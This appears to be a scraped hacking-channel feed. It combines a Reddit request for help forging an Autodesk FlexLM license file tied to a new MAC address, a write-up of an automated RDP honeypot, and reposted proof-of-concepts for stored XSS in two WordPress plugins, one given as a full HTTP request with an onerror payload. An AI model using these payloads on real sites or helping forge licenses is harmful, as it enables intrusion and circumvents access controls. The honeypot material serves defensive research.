hacking: security in practice
Autodesk Simulation Mechanical discontinued but I want to keep using it

Like the title says, autodesk summarily dropped support of their simulation mechanical software and they refuse to issue any new license files for the software. So if you want to change machines you can't and if that machine dies, you're dead in the water.

The software uses a program called LMtools as a flex license server and it loads a license file keyed to the mac address of the server it is loaded on. The server is dying a slow death with random lockups and we need to change the server.

I tried simply changing the mac address in the license file to match the new machine, but I figured that was too simple to work and it didn't.

Is there a way to generate a new license file with a new mac address?

I don't even think this is illegal because they don't even sell or support the software anymore. In fact they don't even sell a product that can do the same things. They sell fusion 360 as a "replacement" but it's not remotely the same or with the same capability.

Any help would be appreciated.

submitted by /u/billyd60
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Installing Linux in Windows (EASY PIZY)
https://medium.com/@pentesterguruji/installing-linux-in-windows-easy-pizy-2ed6334ef61e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

TL;DRContinue reading on Medium » (https://medium.com/@pentesterguruji/installing-linux-in-windows-easy-pizy-2ed6334ef61e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Ad-Honeypot-Autodeploy - Deploy A Small, Intentionally Insecure, Vulnerable Windows Domain For RDP Honeypot Fully Automatically
http://www.kitploit.com/2021/11/ad-honeypot-autodeploy-deploy-small.html

___________________________
@hacking_Attack
@Hacking_Video

Automatic deployment phases
Packer (https://www.packer.io/): download the necessary install media and setup the automated base virtual machine (https://www.kitploit.com/search/label/Virtual%20Machine) images unattended.Terraform (https://www.terraform.io/): provision the libvirt virtualization infrastructure (network + virtual machines) using the packer-prepared virtual machine images.Ansible (https://www.ansible.com/): Configure the infrastructure (https://www.kitploit.com/search/label/Infrastructure) (DC, Desktop, Graylog) automatically, without user interaction.After going through the Packer+Terraform+Ansible pipeline, the configured Windows Domain should be up and running, you could attach the RDP service of the Desktop to the public internet, and let's monitor the events through the Graylog.
Features
Features of the running system are:a Windows Server 2016 as a Domain Controllera Windows 10 Desktop (version 2004) as a Domain Computera Graylog (https://www.graylog.org/) 3.3 (Open Source edition) running as a Log Collector on Ubuntu (https://ubuntu.com/) 18.04 LTSUsing VirtIO (https://wiki.libvirt.org/page/Virtio) drivers for best performanceEnabled RDP and WinRM ServicesPopulated Windows Active Directory (https://www.kitploit.com/search/label/Active%20Directory) with random usersSysmon (https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) (from Windows Sysinternals (https://docs.microsoft.com/en-us/sysinternals/)) installed and running on Domain ComputersNXLog (https://nxlog.co/) Collector running a Domain Computers and forwarding logs to GraylogConfigured Graylog GeoIP lookup table and pipeline for IP addresses (useful for showing a map of invalid RDP login attempts)Graylog World Map of RDP attacks
Host System Requirements
Virtualization needs some power of your host system:~80 GB disk space (https://www.kitploit.com/search/label/Disk%20Space) for the base images and the sparse images of the guest computers.at least 3 x 4 GB memory for the guest machines (may run with less than 12 GB because of overcommitment)installed up-to-date libvirt with QEMU/KVM (official current packages in Ubuntu 18.04 LTS should work)Python 3 (preferably with venv) for AnsibleTested on Ubuntu 18.04 LTS host.
Installation and Usage
First, clone the repo:git clone https://github.com/tothi/ad-honeypot-autodeploy
cd ad-honeypot-autodeploy
Before starting with Packer, set up the intial passwords:./init_passwords.sh

Packer
Now build the initial images.cd packer
Windows Server 2016 and Ubuntu installation media should be downloaded by the Packer script. VirtIO needs to be downloaded by the attached get-virtio.sh script:./get-virtio.sh
Windows 10 should be downloaded manually by getting a temporary download link and save it to the ISO folder. The download link could be obtained from here (https://www.microsoft.com/hu-hu/software-download/windows10ISO). Select the English (International), 64-bit version and save the ISO to ISO/Win10_2004_EnglishInternational_x64.iso.For mapping IP locations on a World Map in Graylog, the MaxMind GeoIP database is needed. Unfortunately due to licensing terms it cannot be redistributed, so you have to download it manually (after registering) from the MaxMind site. The free GeoLite2 version should work, get the "GeoLite2 City" Database in MMDB format (download the GZIP and untar) and put it at resources/GeoLite2-City.mmdb.If you do not have Packer, get the latest version from the packer.io site (download the pre-compiled binary (https://www.packer.io/downloads.html)) or try to add the Hashicorp repository (https://learn.hashicorp.com/tutorials/terraform/install-cli) to your packaging system (useful for Terrafrom also).If you are rebuilding the images, do not forget to clean up previous builds:rm -fr output_*
If you want to re-download the images, remove packer_cache:rm -fr packer_cache

___________________________
@hacking_Attack
@Hacking_Video

After these preparing steps, run the Packer builds in parallel:./packer-build-all.sh

___________________________
@hacking_Attack
@Hacking_Video

The images should be ready in a reasonable time (~20-30 mins depending on your host hardware power).
Terraform
Now the infrastructure can be deployed using Terraform.Get Terraform (>=0.13) if you do not have it (look at the install methods at Packer, above).Terraform provider for libvirt (https://github.com/dmacvicar/terraform-provider-libvirt)is also needed, get the appropriate binary from the github releases (https://github.com/dmacvicar/terraform-provider-libvirt/releases) page, and also look for Terraform v13 migration notes (https://github.com/dmacvicar/terraform-provider-libvirt/blob/master/docs/migration-13.md) for proper installation.Enter Terraform folder:cd ../terraform
Initialize the working directory (only needed for first time use):terraform init
Build and launch the infrastructure ("apply the changes"):terraform apply

___________________________
@hacking_Attack
@Hacking_Video

After a short time (~2-3 mins), the network and virtual machines are up and running.WARNING: You should take care of protecting your private network. The terraform config (main.tf) provided here just contains a custom firewall rule for my own testing environment (blocking 192.168.0.0/16 destination traffic from the 192.168.3.0/24 honeypot network).Next is the configuration phase.
Ansible
Get into the ansible folder:cd ../ansible
Recommended installation method is installing the latest Ansible with some required additional dependencies in a Python venv virtualized environment:python3 -m venv venv
. ./venv/bin/activate
pip install ansible pywinrm faker
For later use just activate the venv by. ./venv/bin/activate
And just deactivate if it is not needed anymore in your current session.You should put an SSH public key with filename id.pub into the ansible folder for accessing the Ubuntu Graylog machine with the ubuntu user (ansible will add it to ~ubuntu/.ssh/authorized_keys).The wordlist.txt file contains some (intentionally weak) passwords for the populated domain users which can be customized.Run the configuration phase:ansible-playbook -i hosts setup-domain.yml -v

___________________________
@hacking_Attack
@Hacking_Video

After 20-25 mins everything is ready.
The deployed system
hostnameip addressoperating systemroledc1192.168.3.100Windows Server 2016Domain Controllerdesktop12192.168.3.112Windows 10 (version 2004)Domain Member Workstationgraylog192.168.3.191Ubuntu 18.04 LTSGraylog ServerAccording to the libvirt network configuration (NAT), the hosts can access the public internet (if your host system allows it).Accessing the hosts is possible through the host system. Practically using an SSH socks tunnel and proxychains for RDP or WinRM access is very comfortable.For example, if your libvirt host IP is 192.168.0.10, create a socks tunnel listening on localhost:5000 byssh 192.168.0.10 -D5000 -NTv
And access the Windows 10 desktop (using an appropriate /etc/proxychains.confconfigured for the :5000 tunnel):proxychains xfreerdp /v:192.168.3.112 /u:administrator
Or, access the Graylog web interface listening on :9000 locally on the Graylog Ubuntu server by SSH ProxyJump and custom forward tunnel:ssh -J 192.168.0.10 ubuntu@192.168.3.191 -NTv -L9000:127.0.0.1:9000
Then open URL http://localhost:9000 and you reach the Graylog web interface.For activating the RDP honeypot, just allow public access to 192.168.3.112:3389 (for example with some port forwarding configuration on your router and iptables rules on the host machine; my helper script is rdp_public.sh (https://github.com/tothi/ad-honeypot-autodeploy/blob/master/ansible/rdp_public.sh)) and keep watching the Graylog. ;)

Download Ad-Honeypot-Autodeploy (https://github.com/tothi/ad-honeypot-autodeploy)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress WP Symposium Pro 2021.10 Cross Site Scripting

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
WordPress WP Symposium Pro version 2021.10 suffers from a persistent cross site scripting vulnerability.

MD5 | e19ff840936ef599bf31ea5948def203

Download
# Exploit Title: WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS)
# Date: 11/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: http://www.wpsymposiumpro.com/
# Software Link: https://wordpress.org/plugins/wp-symposium-pro/
# Version: 2021.10
# Tested on : Windows 10
#Description: WP Symposium Pro version 2021.10 plugin was exposed to stored cross site scripting vulnerability due to lack of sanitizing adding forum speciality and its "name" label.

#Poc:

POST /wordpress/wp-admin/admin.php?page=wps_pro_setup HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wps_pro_setup
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Origin: http://localhost
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Ca0ec8384ede32940d2b69f1082cc013aecf3e887a70485cb38229a405be8a12d; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1636654062; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Cd9daf69cf25e68a3ed54d94c4baa78d20f9772e986211e25656dd832aac6e544
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

wpspro_quick_start=forum&wps_admin_forum_add_name=%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&wps_admin_forum_add_description=test
----------------------------------------------------------------------------------
## After adding new forum, click created forum and pop-up will be on the screen.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress AccessPress Social Icons 1.8.2 Cross Site Scripting

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
WordPress AccessPress Social Icons plugin version 1.8.2 suffers from a persistent cross site scripting vulnerability.

MD5 | 8a797400446972ed44d178f0fcc09d8c

Download
# Exploit Title: WordPress Plugin AccessPress Social Icons 1.8.2 - 'icon title' Stored Cross-Site Scripting (XSS)
# Date: 11/12/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://wordpress.org/plugins/accesspress-social-icons/
# Version: 1.8.2
# Tested on : Windows 10

#Poc:

1. Install Latest WordPress
2. Install and activate AccessPress Social Icons 1.8.2
3. Open plugin on the left frame and keep going "add new" field. Click "Choose icon indiviually" and fill other fields.
4. Enter JavaScript payload which is mentioned below into 'icon title' field and "Add Icon to list".

x

4. You will observe that the payload successfully got stored into the database and alert will be seen on the screen.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aerohive NetConfig 10.0r8a Local File Inclusion / Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video